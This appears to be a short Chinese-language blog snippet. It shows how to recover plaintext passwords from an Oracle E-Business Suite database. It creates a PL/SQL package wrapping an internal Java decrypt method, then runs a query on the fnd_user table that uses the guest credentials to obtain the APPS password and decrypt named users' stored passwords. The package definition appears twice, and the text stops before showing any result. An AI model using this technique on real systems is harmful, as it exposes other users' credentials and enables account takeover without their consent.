主要是利用java将密文翻译称明文,得出密码
获取的主要包:
- --创建Package声明
- CREATE OR REPLACE PACKAGE get_pwd
- AS
- FUNCTION decrypt (KEY IN VARCHAR2, VALUE IN VARCHAR2)
- RETURN VARCHAR2;
- END get_pwd;
- /
- --创建Package Body
- CREATE OR REPLACE PACKAGE BODY get_pwd
- AS
- FUNCTION decrypt (KEY IN VARCHAR2, VALUE IN VARCHAR2)
- RETURN VARCHAR2
- AS
- LANGUAGE JAVA
- NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';
- END get_pwd;
CREATE OR REPLACE PACKAGE BODY get_pwd
AS
FUNCTION decrypt (KEY IN VARCHAR2, VALUE IN VARCHAR2)
RETURN VARCHAR2
AS
LANGUAGE JAVA
NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';
END get_pwd;
查询用户
SELECT usr.user_name,
get_pwd.decrypt
((SELECT (SELECT get_pwd.decrypt
(fnd_web_sec.get_guest_username_pwd,
usertable.encrypted_foundation_password
)
FROM DUAL) AS apps_password
FROM apps.fnd_user usertable
WHERE usertable.user_name =
(SELECT SUBSTR
(fnd_web_sec.get_guest_username_pwd,
1,
INSTR
(fnd_web_sec.get_guest_username_pwd,
'/'
)
- 1
)
FROM DUAL)),
usr.encrypted_user_password
) PASSWORD
FROM apps.fnd_user usr
WHERE usr.user_name in ( 'PRAJ_TEST','PM216407');
效果如下: